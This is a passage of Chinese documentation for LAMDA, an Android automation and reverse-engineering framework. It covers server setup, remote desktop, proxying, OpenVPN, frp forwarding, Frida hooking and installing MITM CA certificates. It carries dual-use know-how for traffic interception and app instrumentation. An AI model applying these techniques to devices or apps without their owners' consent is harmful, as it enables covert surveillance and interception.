devices="binder,hwbinder,vndbinder" modprobe ashmem_linux </code></pre> <p>最后使用以下命令启动,<code>redroid_gpu_mode</code> 请根据实际进行修改(注意这与官方写的命令有所不同)。</p> <pre><code class="language-bash">docker run -itd --rm --privileged --pull always -v /lib/modules:/lib/modules:ro -v ~/redroid:/data -p 127.0.0.1:5555:5555 -p 127.0.0.1:65001:65000 redroid/redroid:12.0.0-latest androidboot.redroid_gpu_mode=guest </code></pre> <blockquote> <p>这里将容器 65000 映射到本机 65001 是因为部分工具需要临时绑定到 65000 端口。</p> </blockquote> <p>随后,你可以在宿主机上通过 <code>http://127.0.0.1:65001</code> 访问到 LAMDA。</p> <h2>安装客户端</h2> <p>请使用 3.6 - 3.11 版本的 Python,建议有条件使用 Python 3.9</p> <pre><code class="language-bash">pip3 install -U lamda # 即可 # # 如果需要使用内置 frida,务必使用下列方法安装 # 你可能需要外网访问来安装 frida,否则可能会卡住许久(~10分钟)直至安装失败 # 即使之前安装过 frida,也应该重新执行以下命令 pip3 install -U --force-reinstall 'lamda[full]' # 如果你安装的服务端是 7.0 (beta) 版本,请执行如下命令安装 pip3 install -U --force-reinstall 'lamda[next]' # 请注意完成安装后,你需要同时使用 pip 更新任何依赖 frida # 的第三方库例如 frida-tools objection 等(如果安装过的话) # 否则后期使用可能会出现难以察觉的异常 </code></pre> <p>安装完成后,执行命令 <code>python3 -m lamda.client</code> 检查是否安装正确。如果出现如下类似报错</p> <pre><code class="language-python">* AttributeError 'NoneType' object has no.. * TypeError: Couldn't build proto file.. </code></pre> <p>可能是因为安装的其它依赖 protobuf 的包产生冲突。请尝试执行如下命令</p> <pre><code class="language-bash">pip3 install -U --force-reinstall lamda </code></pre> <p>如果仍然存在问题,请创建 virtualenv 来使用。</p> <h2>安装服务端</h2> <p><strong>默认方式安装的 LAMDA 没有开启任何认证,其他人可以访问设备上的任意内容,监听你的设备甚至接入设备网络进行进一步控制。请特别留意<code>启用接口认证</code>的部分,请务必在可以<code>信任的网络</code>内使用。并且请注意,<code>即使开启了接口认证</code>,任何<code>有权限登录远程桌面以及使用API</code>的人仍然对你的设备以及 LAMDA 本身有着完全的访问权限。</strong></p> <p><strong>由于安全性原因,我们不建议将任何相关文件放在 <code>/data/local/*</code> 目录下。</strong></p> <p>安装前,请先选择合适的架构,可以通过 adb shell 命令 <code>getprop ro.product.cpu.abi</code> 来获取当前的系统架构。 正常情况下,对于现时代的手机,可以直接选择 <code>arm64-v8a</code> 版本,而对于模拟器如雷电,你会在新建模拟器时选择32或64位版本的安卓系统, 32位模拟器系统对应 <code>x86</code>,64位则对应 <code>x86_64</code>,正常情况下,雷电模拟器默认创建的为基于 <code>x86</code> 的安卓 7.0 系统。</p> <p>LAMDA 支持设备状态主动上报,你可以编写接口或使用 grafana 来记录设备运行状况,其中包含了系统、网络、内存、CPU、磁盘等等信息。</p> <pre><code class="language-bash"># 如果不清楚这个功能是什么请不要执行,注意替换掉以下链接(需要 root 身份) echo "stat-report.url=http://example.com/report" &gt;&gt;/data/properties.local </code></pre> <p>这样 LAMDA 会在启动后<strong>每分钟</strong>向此链接<strong>POST</strong>设备状态信息(JSON),由于字段较多,将不在此罗列。</p> <blockquote> <p>配置自动更新</p> </blockquote> <p>LAMDA 存在一个自动更新的逻辑,但是由于存在分钟级的服务中断,目前仅限于内部自用。除了存在紧急安全问题或者致命BUG等情况,LAMDA 不会进行任何自动更新,请自行定期在闲时从 github 下载并安装最新版本。</p> <p>如果你确实不在意更新时分钟级的服务不可用,启动 LAMDA 之前写入以下配置文件可以确保 LAMDA 始终为最新版本。</p> <pre><code class="language-bash"># 进入 adb shell 执行(需要 root 身份) echo "upgrade.channel=latest" &gt;&gt;/data/properties.local </code></pre> <blockquote> <p>properties.local 启动配置</p> </blockquote> <p>在开始前,有必要介绍一下上面的 <code>properties.local</code> 文件, properties.local 为 LAMDA 的启动配置文件,通常存储于设备之上,其中包含了 <code>a=b</code> 类型的字符串, 通过编写此文件,你可以实现在 LAMDA 启动时自动连接到 OpenVPN、代理、端口转发等。 LAMDA 在启动时,会从 <code>/data</code>, <code>/data/usr</code> 查找该文件并载入(usr 目录在 LAMDA 首次启动前并不存在,所以你可能需要手动创建)。 你可以在以上三个位置任意一个放置你的 properties.local 配置文件。</p> <p>除了 <code>properties.local</code>,还有一个从加载远端配置的参数 <code>--properties.remote</code>,它可以让 LAMDA 在启动时从HTTP服务器下载配置,请继续看往启动 LAMDA 的章节。</p> <p>关于如何编写配置,在各个功能中会有介绍。</p> <blockquote> <p>launch.sh 可能出现的错误及解决方法</p> </blockquote> <pre><code class="language-bash"># 显示 llllaamDaa started 则服务已经正常进入 daemon 模式,可以退出终端 already running (已经在运行,请不要多次启动) invalid TZ area (时区未设置,在系统时间设置中设置时区即可,可能出现于国外或原生系统上) not run as root (没有以 root 身份运行) unsupported sdk (在不支持的安卓系统上运行) abi not match (使用了错误的 tar.gz 包) </code></pre> <h3>通过 Magisk 安装</h3> <p>如果你的设备使用了 Magisk,那么你可以以最简单的方法完成安装,并且 LAMDA 可以<strong>开机自启动</strong>。需要确保 Magisk 版本 &gt;= 20.4 且只支持在 <strong>Magisk App</strong> 中安装。同时,使用 Magisk 安装更便于统一化,你可以自定义配置,例如,你想要所有使用该 magisk 模块刷入后的 LAMDA 都启用接口认证(certificate), 或者希望这些设备都在启动时自动连接代理,你只需要编写 properties.local 或者生成PEM证书并重命名为 <code>lamda.pem</code>(请查看 tools/ 中的工具使用方法), 随后使用<strong>压缩软件</strong>打开 <code>lamda-magisk-module.zip</code>,并将其(<code>lamda.pem</code> 或者 <code>properties.local</code>)拖入 <code>common</code> 文件夹即可实现启动时自动配置!</p> <p>现在,从 <a href="https://github.com/rev1si0n/lamda/releases">lamda/releases</a> 页面下载 <code>lamda-magisk-module.zip</code>,并将其 push 到 <code>/sdcard</code>,打开 Magisk App,点击 模块-&gt;从本地安装,选择 lamda-magisk-module.zip 稍作等待即可。</p> <p>刷入成功后,请重启设备。重启后,LAMDA 应该会在开机时自启动。但是为了避免可能的崩溃问题,lamda 会在 30 秒后启动而不是立即启动,你将有足够的时间去禁用 LAMDA 模块(请在开机后2分钟再连接使用 LAMDA)。安装完成后,你无需再看下段手动安装的内容,跳过即可。</p> <h3>手动安装</h3> <p>由于部分老旧设备可能无法通过系统的 <code>tar</code> 命令来解压 tar.gz 后缀的文件,所以提供了 <code>busybox</code> 用来作为补充,你可能需要同时下载提供的 busybox。现在已知 getprop 获得的设备架构为 <code>arm64-v8a</code>,现在将设备连接到当前电脑并确保已授权 ADB、可以正常切换 root。</p> <p>从 <code>release</code> 页面 <a href="https://github.com/rev1si0n/lamda/releases">lamda/releases</a> 下载 <code>lamda-server-arm64-v8a.tar.gz</code> 以及 <code>busybox-arm64-v8a</code>。</p> <pre><code class="language-bash"># 将文件临时推送到 /data/local/tmp adb push lamda-server-arm64-v8a.tar.gz /data/local/tmp adb push busybox-arm64-v8a /data/local/tmp </code></pre> <p>完成后,进入 <code>adb shell</code>,解包文件:</p> <pre><code class="language-bash"># 你现在应该在 adb shell 内 # 使用此种方式,服务端程序将被安装到 /data # 确保切换为 root 身份 su # 确保上传的 busybox 可执行 chmod 755 /data/local/tmp/busybox-arm64-v8a cd /data # 解包服务端文件 /data/local/tmp/busybox-arm64-v8a tar -xzf /data/local/tmp/lamda-server-arm64-v8a.tar.gz # 服务将被解压到 /data/server 目录下 # 删除安装包以及 busybox rm /data/local/tmp/lamda-server-arm64-v8a.tar.gz rm /data/local/tmp/busybox-arm64-v8a </code></pre> <h2>启动服务端</h2> <p>使用 Magisk 安装后的 LAMDA 会在开机时自动启动,你只需要在首次安装后重启一次设备即可。而对于手动安装的 LAMDA,在每次<strong>设备重启</strong>或者<strong>手动退出服务</strong>后你都需要重新执行以下命令来启动 LAMDA SERVER。</p> <p>进入 adb shell,并切换为 <code>su</code> root 身份,执行:</p> <pre><code class="language-bash"># 确保为 root 身份 # 你现在应该在 adb shell 内 su # 启动服务端 sh /data/server/bin/launch.sh # # 如果你想要启用加密传输 # 请先使用 tools/ 中的 cert.py 来生成 PEM 证书 # 将其push到设备例如 /data/lamda.pem # 并将其属主及权限设置为 root 以及 600 (chown root:root lamda.pem; chmod 600 lamda.pem) # 并使用以下命令启动,lamda.pem 必须为绝对路径 sh /data/server/bin/launch.sh --certificate=/data/lamda.pem # 这将加密任何通过 LAMDA 产生的通信流量 # # 从远端加载 properties.local # 有时候你可能希望从链接加载启动配置,这时你可以将 properties.local 上传到服务器 # LAMDA 在下载此配置时,会提供当前设备的部分信息如,设备唯一ID,设备型号,当前版本等。 # 你也可以自行编写web服务来根据这些设备参数分发不同的启动配置 # 建议使用 HTTPS 链接增加安全性,请确保设备时间正确。 # 随后使用如下方式启动 LAMDA sh /data/server/bin/launch.sh --properties.remote=http://example.com/config/properties.local # 对于开启了 Basic Auth 的静态文件服务,同样支持提供用户名密码 sh /data/server/bin/launch.sh --properties.remote=http://user:password@example.com/config/properties.local # 提示:LAMDA 会在超时或者返回 50x 状态码时重试请求, # 如果连续 5 次仍然失败,LAMDA 会放弃尝试并继续启动。 # # 当然,可以自定义重试次数但是注意,如果服务器持续无响应,LAMDA 也将永远卡在这里 # 什么时候需要设置重试次数:刚开机时设备可能并没有网络连接,如果你要在这时启动 LAMDA 你可以增大该值 sh /data/server/bin/launch.sh --properties.remote=http://example.com/config/properties.local --properties.tries=30 # 重试机制的每轮等待秒数n会随着重试次数的增加而增加。所以请谨慎设置该值。 # # 如果你需要 LAMDA 监听到特定端口而不是 65000 # 如果修改,请确保所有内网设备均以相同端口启动 # 否则设备发现等功能无法正常工作 sh /data/server/bin/launch.sh --port=8123 # 请不要绑定 1024 以下的端口 </code></pre> <p>静待退出,随即关闭终端,至此服务启动完成。</p> <p><strong>注意</strong>:首次启动时有几率出现远程桌面一直加载。发生这种情况时,请首先尝试重启设备并重新启动 lamda。 如果在启动或使用中多次遇到设备黑屏/重启卡顿等类似情况,建议停止使用。</p> <h2>退出服务端</h2> <p>LAMDA 设计为一个 7*24 小时后台运行的服务,不建议频繁启动关闭,如果确需这样做,请务必确保你通过以下两种方式关闭。如需使用接口关闭服务请参照下方 <code>关机重启</code> 章节,考虑到可能不方便使用接口,你也可以使用以下命令。</p> <pre><code class="language-bash">kill -SIGUSR2 $(cat /data/usr/lamda.pid) </code></pre> <p>LAMDA 服务完全退出可能需要十几秒的时间,请不要连续多次执行此命令。</p> <h2>卸载服务端</h2> <p>LAMDA 对于自身数据的规划非常规范,绝对不会在你的系统中随意放置文件。 你可以通过几条命令完全卸载 lamda,在进行前,请先按照上方 <code>关闭 LAMDA 服务</code> 执行并等待至少30秒以确保服务正常退出。</p> <pre><code class="language-bash"># 删除 LAMDA 相关目录 rm -rf /data/server /data/usr # 重启设备 reboot </code></pre> <h1>使用 LAMDA</h1> <p>设备上的 <code>65000</code> 端口为本服务的标准公用端口,可能需要记住,但是大部分情况下,你不需要显式提供此端口号。 下面请先在 WLAN 设置中取得<strong>当前设备的IP地址</strong>,你也可以通过 tools/ 目录里的工具来列出当前网络中的所有设备及IP, 下面将会一直<strong>假设</strong>设备的IP为 <code>192.168.0.2</code>。</p> <h2>远程桌面</h2> <p>远程桌面功能仅为 Chrome 95+ 设计,不支持多人访问,不保证兼容所有浏览器,如遇功能不正常请使用 Chrome。</p> <p>在浏览器中打开链接 <code>http://192.168.0.2:65000</code> 可进入 web 远程桌面,你可以在此操作设备以及通过该界面的root模拟终端执行命令。如果启动服务端时指定了PEM证书 <code>--certificate</code>,远程桌面将需要你输入密码才能继续访问,并且你需要将 <code>http://</code> 改为 <code>https://</code> 使用 HTTPS 的方式访问,你可以使用文本编辑器在PEM证书第一行找到这个固定密码。</p> <p>你也可以自定义远程桌面的 视频帧率(fps)、分辨率缩放比例(res)以及图像质量(quality)。同时,支持 H.264 软编码(部分情况下使用流量更少更流畅,仅支持最新版 Chrome 浏览器)。你可以通过远程桌面右上角的小齿轮进行调整,但是请注意,调整以上参数并不一定会产生正向效果,请依据事实调整。</p> <p>如果需要键盘输入等更加人性化的操作体验,请先看下面的章节 <code>无线连接内置 root 权限的 WIFI ADB</code>, 完成 adb connect 到 LAMDA 后,安装使用 <a href="https://github.com/Genymobile/scrcpy">Genymobile/scrcpy</a> 或者 <a href="https://github.com/barry-ran/QtScrcpy">barry-ran/QtScrcpy</a> 即可,具体使用方法请查看其使用文档。</p> <h2>文件上传</h2> <p>你可以在此页面直接<strong>拖动文件或目录到右侧终端</strong>上来上传文件/文件夹到设备,支持同时拖动多个文件或文件夹,单个文件最大不得超过 256MB,最多只支持同时上传 2k 个文件,上传的任何文件权限均为 644,文件将始终上传到 <code>/data/usr/uploads</code> 目录下。</p> <h2>文件下载</h2> <p>LAMDA 允许你通过浏览器浏览设备上的目录及下载文件,只需要在浏览器打开链接 <code>http://192.168.0.2:65000/fs/</code> 即可(注意最后面的 <code>/</code>)。</p> <h2>移动代理</h2> <p>有些时候,你的APP可能在某些网络条件下会发生错误,或者你想处在设备相同的网络IP下做一些测试。 LAMDA 的 tunnel2 功能,支持你将运行 LAMDA 的设备作为 http 网络代理服务器,它同样继承了 LAMDA 的强大功能:你在任何地方都能处在近乎与设备相同的网络之中。你可以通过以下 curl 命令快速体验,你也可以在 Firefox 设置-手动配置代理将 <code>192.168.0.2</code> 端口 <code>65000</code> 设置为代理并且勾选 <code>也将此代理用于 HTTPS</code>,这样你的 Firefox 将会与设备有着相同的出网IP。</p> <pre><code class="language-bash"># 默认代理无需任何认证,但是当你使用了 --certificate 启动时 # 那么登录用户名为: lamda,密码与远程桌面登录令牌 (token) 相同 # 建议使用自定义配置 tunnel2.password 自行设置密码 curl -x http://192.168.0.2:65000 https://httpbin.org/ip </code></pre> <h3>自定义代理配置</h3> <p>如果你想使用移动网络(4G/5G)作为代理出口。</p> <pre><code class="language-ini"># 追加到 properties.local 配置文件 tunnel2.login=lamda tunnel2.password=mypassword # # iface 存在两个可配置值,即 wlan、rmnet,当 iface 值为 wlan 时, # 将自动检测可用 wlan 接口并选择任意一个发出请求,当 iface 为 rmnet 时 # 将尝试启用移动数据(即使 WIFI 已开启),并将请求从移动网络接口发出。 # 当配置为 rmnet/wlan 但其接口无网络时,代理将失效。 # 当未配置时,使用默认网络发出请求。 #tunnel2.iface=rmnet </code></pre> <p>如果希望从任何地点都可使用设备作为代理,请查看 <code>使 LAMDA 可被任意地点连接</code> 章节。</p> <h2>连接设备</h2> <blockquote> <p>现在,将配合 lamda 库进行介绍,在开始前,请先确保你已经根据上文 <code>客户端安装</code> 章节正确安装了客户端库。</p> </blockquote> <p>建议顺带翻看客户端的源码,并不是需要理解,仅仅是让你能了解到底有什么参数可以使用。</p> <pre><code class="language-python">from lamda.client import * d = Device("192.168.0.2") # 如果在服务端启用了 certificate 请这样连接 d = Device("192.168.0.2", certificate="/path/to/lamda.pem") </code></pre> <p>或者,如果你熟悉 uiautomator2,也可以通过 u2 来使用部分自动化功能</p> <pre><code class="language-python">import uiautomator2 as u2 # 注意:只兼容约7成主要接口,并且服务端未启用 certificate 选项 d = u2.connect("http://192.168.0.2:65000") </code></pre> <p>或者,直接执行命令</p> <pre><code class="language-bash"># 注意这个DEVICE参数是IP,自行替换 python3 -m lamda.client -device 192.168.0.2 # 随后可以直接在此 shell 中输入下方语句 </code></pre> <blockquote> <p>下文中的 <code>d</code> 将始终假设为 <code>d = Device("192.168.0.2")</code> 实例。</p> </blockquote> <h2>先来一个热身</h2> <p>如下方法可以使你的手机发出一声蜂鸣,当有一堆设备的时候,需要定位其中一台,可以调用此接口。(需要手机为非静音状态)</p> <pre><code class="language-python">d.beep() </code></pre> <h2>设置系统代理</h2> <p>只支持 http 以及 socks5 代理,不支持 IPv6</p> <blockquote> <p>假设你从服务商处获得的代理为 <a href="http://123.123.123.123:8080%EF%BC%8C">http://123.123.123.123:8080,</a> 仅需如下几行代码来让设备上的 tcp 流量通过此代理</p> </blockquote> <pre><code class="language-python">profile = GproxyProfile() profile.type = GproxyType.HTTP_CONNECT # 此选项请根据实际情况选择你是否需要 profile.drop_udp = True profile.host = "123.123.123.123" profile.port = 8080 d.start_gproxy(profile) </code></pre> <blockquote> <p>详细的参数配置信息</p> </blockquote> <pre><code class="language-python">profile = GproxyProfile() # socks5 代理则为 GproxyType.SOCKS5 profile.type = GproxyType.HTTP_CONNECT # 如果你需要重定向 DNS 查询到 114.114.114.114 # 注意此 DNS 是系统全局的,系统发出的所有DNS将会被转发 # 如果是与OpenVPN共存的情况,不要设置为OpenVPN的内网DNS服务器,否则可能会导致彻底断网 # 去掉 nameserver 配置行将使用系统默认 DNS # # 为什么有此选项:你可以修改一些应用的 dns 域名解析 profile.nameserver = "114.114.114.114" profile.host = "代理服务器地址" profile.port = 代理服务器端口 # 如果这个代理服务器需要登录信息(注意:如果没有,请注释或删除如下两行) profile.password = "代理服务器登录密码" profile.login = "代理服务器登录用户" # socks5 模式支持 udp 代理,但是 http 代理并不支持 # 因为 udp 多数情况下并不会被代理,所以禁用 udp 流量是一个不错的选择 # 当 drop_udp 为 True 时,应用/系统的 UDP 流量将会被屏蔽,默认为 False profile.drop_udp = False # 本地流量是否需要*不经过*代理,如果为 True,本地流量 # 如 192.168.x.x 10.x.x.x 等路由器内网网段的流量将不会经过代理,默认为 False # 注意:如果开启了 udp_proxy,此选项对于 UDP 流量无效 profile.bypass_local_subnet = True # 是否需要代理 udp 流量 # 注意,http 代理服务不支持代理 udp 协议,开启此选项必须使用 socks5 作为代理服务器 # (GproxyType.SOCKS5),且 socks5 代理服务器必须配置开启 udp 代理模式, # 需要稍加复杂的服务器配置,为了避坑,请参照 tools/socks5 里的介绍进行安装配置 # 当你使用 http 代理或者 drop_udp 选项为 True,此设置将会被忽略 profile.udp_proxy = False # 如果需要仅对特定应用使用代理(例如安卓浏览器,如果是全局则删除这两行) app = d.application("com.android.browser") profile.application.set(app) # 注意事项以及提示: # 设置代理后,正在运行的应用是不会立即使用设置的代理的 # 因为这些应用在设置代理之前就已经完成了 tcp 连接的建立 # 所以,需要你手动关闭应用并启动,应用才会通过代理建立连接 # 也就是说,如果你是做中间人流量分析,那设置代理后 # 你需要关闭应用再重新打开才会看到应用的请求 # # 注:本机的 DNS 流量始终不会经过代理 # 启动代理 d.start_gproxy(profile) # 关闭代理 d.stop_gproxy() </code></pre> <blockquote> <p>快速搭建一个 socks5 代理</p> </blockquote> <p>LAMDA 在 tools/ 中提供了一个开箱即用同时支持 udp 的 socks5 代理服务 docker,请转到 tools/socks5 目录查看 README.md。</p> <blockquote> <p>在 LAMDA 启动时自动连接代理</p> </blockquote> <p>复制下列配置并修改相关配置为你的代理信息</p> <pre><code class="language-txt">gproxy.enable=true gproxy.type=http-connect gproxy.host=123.333.333.333 gproxy.port=8080 gproxy.password= gproxy.login= </code></pre> <p>将其追加或者写入到 properties.local,重启 LAMDA 即可。</p> <h2>安装中间人证书</h2> <blockquote> <p>建议你使用或参考已经封装好的 tools/ 目录下的 startmitm.py, globalmitm 工具,这里介绍的是相关接口。</p> </blockquote> <p>请先确保你已经准备好 fiddler, mitmproxy 给你的证书,对于 mitmproxy, 给你的证书为 pem 格式如下示例。而对于 fiddler,则可能是 crt 格式,直接将该文件路径 作为参数提供即可无需关心任何转换/文件名问题。</p> <p>为了避免浪费不必要的时间,在这里推荐使用 <code>mitmproxy</code>, 如果你使用的是 <code>Charles</code> 等,我无法确保你可以一次性完成设置, 因为此类应用配置项目较为复杂且你可能需要理解各种代理类型才能正确配置SSL中间人, 如果你一定要使用,建议使用 Charles 的 socks5 作为代理协议。</p> <p>注意:有可能不支持安卓 13</p> <pre><code class="language-python">import os # 拼接 mitmproxy-ca-cert.pem 文件的路径 HOME = os.path.expanduser("~") cert_path = os.path.join(HOME, ".mitmproxy", "mitmproxy-ca-cert.pem") # 以 mitmproxy 为例,使用如下代码安装证书 d.install_ca_certificate(cert_path) # 使用如下代码卸载证书(如不常变化不建议频繁安装卸载) d.uninstall_ca_certificate(cert_path) # 此证书安装接口是通用的,你可以用它安装任何应用要求你安装的证书 # 你同样可以用其安装 Fiddler/Charles 要求你安装的证书 # 只需要提供文件路径即可 </code></pre> <p>接着,看 <code>设置 http/socks5 代理</code> 节,将代理设置为中间人应用监听的地址即可。 按照流程完成后如果没有截获到流量请参加设置代理部分的<strong>特别注意</strong>。</p> <h2>设置 OpenVPN</h2> <blockquote> <p>此 OpenVPN 只支持使用证书登录,可以与 http/socks5 代理共存。 需要注意的是,此功能只包含OpenVPN的主要功能,除了 <code>DNS</code> 配置,暂无法应用服务端推送的其他配置信息。 这些配置包括但不限于 PAC 代理,http 代理配置等。为了省却你安装服务的麻烦, LAMDA 提供了一个开箱即用的 OpenVPN docker 镜像,它有脚本可以生成下面这个配置,请继续往下看。</p> </blockquote> <p>非常建议使用 tools 里的 OpenVPN docker 安装及生成如下连接配置。</p> <pre><code class="language-python">profile = OpenVPNProfile() # 是否全局 VPN,为 False 时仅路由服务器端推送的特定网段 profile.all_traffic = True # 服务器端开启的连接协议 (或者为 OpenVPNProto.TCP) profile.proto = OpenVPNProto.UDP profile.host = "OpenVPN 服务器地址" profile.port = OpenVPN 服务器端口 # 服务器端通道加密方法 profile.cipher = OpenVPNCipher.AES_256_GCM profile.tls_encryption = OpenVPNEncryption.TLS_CRYPT profile.tls_key_direction = OpenVPNKeyDirection.KEY_DIRECTION_NONE profile.tls_key = """ -----BEGIN OpenVPN Static key V1----- tls key / tls auth -----END OpenVPN Static key V1----- """ profile.ca = """ -----BEGIN CERTIFICATE----- 服务端配置的 ca 证书 -----END CERTIFICATE----- """ profile.cert = """ -----BEGIN CERTIFICATE----- 客户端证书 -----END CERTIFICATE----- """ profile.key = """ -----BEGIN PRIVATE KEY----- 客户端私钥 -----END PRIVATE KEY----- """ # 启动 OpenVPN d.start_openvpn(profile) # 关闭 OpenVPN d.stop_openvpn() </code></pre> <blockquote> <p>快速搭建一个 OpenVPN 服务</p> </blockquote> <p>LAMDA 在 tools/ 中提供了一个开箱即用的 OpenVPN docker,请转到 tools/openvpn 目录查看 README.md。</p> <blockquote> <p>在 LAMDA 启动时自动连接 VPN</p> </blockquote> <p>你可以使用 tools/openvpn 提供的命令来生成 properties.local 配置,请不要自行编写。</p> <h2>连接内置的 FRIDA</h2> <blockquote> <p>非逆向工作无需阅读此节</p> </blockquote> <p>启动本框架前后,<strong>请勿</strong>再次自行启动任何 frida-server,否则有可能会导致系统崩溃。你只需要通过下列代码使用内置 frida 即可。</p> <ol> <li>通过代码连接</li> </ol> <pre><code class="language-python"># 使用 LAMDA 时的做法 device = d.frida device.enumerate_processes() </code></pre> <p>等效原生代码</p> <pre><code class="language-python"># 仅做示例,为了通用性,请务必使用上述方法 manager = frida.get_device_manager() device = manager.add_remote_device("192.168.0.2:65000") device.enumerate_processes() </code></pre> <ol start="2"> <li>通过命令行使用</li> </ol> <p>对于所有 frida 官方命令行工具,你只需要加上参数 <code>-H 192.168.0.2:65000</code> 即可。</p> <pre><code class="language-bash">frida -H 192.168.0.2:65000 -f com.android.settings # 如果你在服务端启动时指定了 certificate 选项,请注意也需要在此加入 --certificate 参数例如 # 且需要提供 token,这个 token 可以在 lamda.pem 的最后一行找到 frida -H 192.168.0.2:65000 -f com.android.settings --certificate /path/to/lamda.pem --token f141bce852f70730506f995991450adb </code></pre> <h2>使用 FRIDA 暴露 Java 接口</h2> <p>这个功能类似于 <a href="https://github.com/virjar/sekiro">virjar/sekiro</a>,关于它的用途请参考 virjar 大佬的 项目。此功能需要你能熟练编写 frida 脚本。</p> <blockquote> <p>请转到 tools 目录查看使用方法。</p> </blockquote> <p>此功能需要你能熟练编写 frida 脚本。示例中使用的脚本请参照 test-fridarpc.js 文件,特别注意: frida 脚本中 rpc.exports 定义的函数参数以及返回值只能为 int/float/string/list/map 或者任意 js 中<strong>可以被 JSON序列化</strong>的值。假设设备IP为 192.168.0.2。</p> <blockquote> <p>执行以下命令注入 RPC 到 com.android.settings(注意查看是否有报错),下面的相关文件在 tools 目录</p> </blockquote> <pre><code class="language-bash">python3 fridarpc.py -f test-fridarpc.js -a com.android.settings -d 192.168.0.2 </code></pre> <p>现在已经将接口暴露出来了,只需要请求 <code>http://192.168.0.2:65000/fridarpc/myRpcName/getMyString?args=["A","B"]</code> 即可得到脚本内方法的返回结果,链接也可以用浏览器打开,接口同时支持 POST 以及 GET,参数列表也可以同时使用多个参数,空列表代表无参数,注意这里的 args 参数序列化后的字符串最长<strong>不能超过</strong> <code>32KB</code>(在使用了 --certificate 的情况下,链接需要改为 https 方式)。</p> <p>链接中的两个字符串参数 "A", "B" 即为注入的脚本中的方法 <code>getMyString(paramA, paramB)</code> 的位置参数。</p> <p>注意参数的提供形式,是<strong>双引号</strong>,请<strong>不要手打</strong>或者<strong>字符串拼接</strong>这个参数,务必使用 json.dumps(["A", "B"])</p> <blockquote> <p>用 requests 调用</p> </blockquote> <pre><code class="language-python">import json import requests url = "http://192.168.0.2:65000/fridarpc/myRpcName/getMyString" # 请求接口 res = requests.post(url, data={"args": json.dumps(["A","B"])}) print (res.status_code, res.json()["result"]) #* 状态码 200 一切正常 #* 状态码 410 需要重新注入脚本或者脚本未注入(目前不支持自动重新注入) #* 状态码 500 脚本或参数异常 #* 状态码 400 参数错误 </code></pre> <p>响应结果的格式是固定的,可在浏览器打开查看。同样,配合下面一节的内容,你将可以在公网直接使用接口。</p> <h2>使用内置的定时任务</h2> <p>内置了用于执行定时任务的 cron 服务,这样你可以在设备上定期执行一些脚本,所有规则都将以 root 身份执行。</p> <blockquote> <p>此功能需要你会编写 crontab 规则,如果你不清楚 crontab,请先自行了解。</p> </blockquote> <p>现在,请打开 web 控制台或者连接设备的 ssh/adb shell,执行命令 <code>crontab -e</code>,你将进入编辑模式,在英文输入模式下按下字母 <code>i</code>,随后写下相关规则,并依次按下 <code>ESC</code>,<code>SHIFT</code> + <code>:</code>,输入 <code>wq</code> 并按下回车来保存即可。受限于安卓休眠机制,息屏后定时任务可能并不会以你期望的时间运行,你可能需要将设备设置为常亮。</p> <blockquote> <p>一些规则示例</p> </blockquote> <pre><code>@reboot echo 框架启动时执行 0 */1 * * * echo 每一小时执行 * * * * * echo 每一分钟执行 0 8 * * * echo 每天八点执行 </code></pre> <h2>使 LAMDA 可被任意地点连接</h2> <p>有时候你可能遇到这种情况:你的手机在家里而你不在家该怎么使用呢。 开始前,你可能需要先准备一台公网服务器。为了安全考虑,这里使用的是最保守的配置,最后会说明如何做到完整介绍的功能。</p> <p>因为有了公网服务器,lamda 有很多方法可以做到这个要求,使用 <strong>OpenVPN</strong> 来实现更加优雅。当然最方便的还是使用 frp。tools 文件夹内都提供了相关服务的 docker 镜像并且这些镜像可以一键命令生成下面的配置信息,可以转到 tools 查看使用方法。</p> <p>本服务使用了较为成熟的端口转发程序 <a href="https://github.com/fatedier/frp">fatedier/frp</a>,关于如何配置服务端,请在此项目中自行探索。注意:请勿将转发后的端口绑定到公网地址,请确保你的公网服务器关闭了所有不必要的端口。 这里给你一个最简单安全的配置,可以直接使用如下命令启动服务端。</p> <blockquote> <p>首先在你的公网服务器上执行以下命令启动 frps(注意你可能还需要配置防火墙)</p> </blockquote> <pre><code class="language-bash"># frps 版本需要 &gt; v0.45.0 frps --token lamda --bind_addr 0.0.0.0 --bind_port 6009 --proxy_bind_addr 127.0.0.1 --allow_ports 10000-15000 </code></pre> <blockquote> <p>然后编写 properties.local</p> </blockquote> <p>复制下列配置并修改<strong>服务器地址</strong>为你的服务器公网IP</p> <pre><code class="language-txt">fwd.host=服务器地址 fwd.port=6009 fwd.rport=12345 fwd.token=lamda fwd.protocol=tcp fwd.enable=true </code></pre> <p>将其追加或者写入到 properties.local,重启 LAMDA 即可。</p> <blockquote> <p>如何透过上面的转发使用 lamda(需要在部署 frps 的那台公网服务器上使用,因为我们绑定了转发的端口到 127.0.0.1)</p> </blockquote> <pre><code class="language-python">from lamda.client import * # 端口为上面的 rport d = Device("127.0.0.1", port=12345) # 浏览器打开 http://127.0.0.1:12345 即可访问远程桌面 # 其余任何接口调用实现均统一,无需做任何改动 </code></pre> <blockquote> <p>如何批量转发而不用每次都改写一下 rport 配置</p> </blockquote> <p>如果你需要一次设置多台机器且不在乎每台机器绑定的端口, 你可以将上方配置中的 <code>fwd.rport</code> 值改为 0,这将导致你的设备被随机绑定到 <code>10000-15000</code> 的端口范围中, 你可以通过后期轮训端口范围来定位设备转发绑定的对应端口。</p> <blockquote> <p>我就是想在任意地方都能连接到设备</p> </blockquote> <p>首先,为了安全起见不建议这么做,如果确实需要这样用的话,建议使用 OpenVPN 将设备和你的电脑置于同一网段的方法来访问。 如果你仍准备使用上述 frp 的方法实现任意访问,请先确保 LAMDA 服务启动时使用了<strong>PEM证书</strong>,并将启动 frps 命令时的 <code>--proxy_bind_addr 127.0.0.1</code> 改为 <code>--proxy_bind_addr 0.0.0.0</code>,这将导致 12345 端口直接绑定到公网。如果你未使用PEM证书启动 lamda,任何人都将可以访问,这是<strong>非常非常危险</strong>的。 其次需要注意,web 远程桌面的流量始终都是 http 的,如果有人在你和服务器通信之间进行中间人,你的登录凭证可能会被窃取。当然,如果此期间不用 web 桌面将不存在这个问题。</p> <h2>读写内置键值存储器</h2> <blockquote> <p>Storage 是 LAMDA 内置的键值存储,它具有持久性,即使 LAMDA 重启,你依然可以在下次 LAMDA 启动时读取这些变量。 该 Storage 让你可以在设备中持久化存储信息以供不同的 client API 进程读取。</p> </blockquote> <p>Storage 的总容量为 128MB,请勿用来存储大量数据。</p> <pre><code class="language-python"># 获取一个 Storage 对象 storage = d.stub("Storage") # 清空 Storage 中的所有信息(包括容器) storage.clear() # 清除名为 container_name 的容器中存储的所有键值 storage.remove("container_name") # 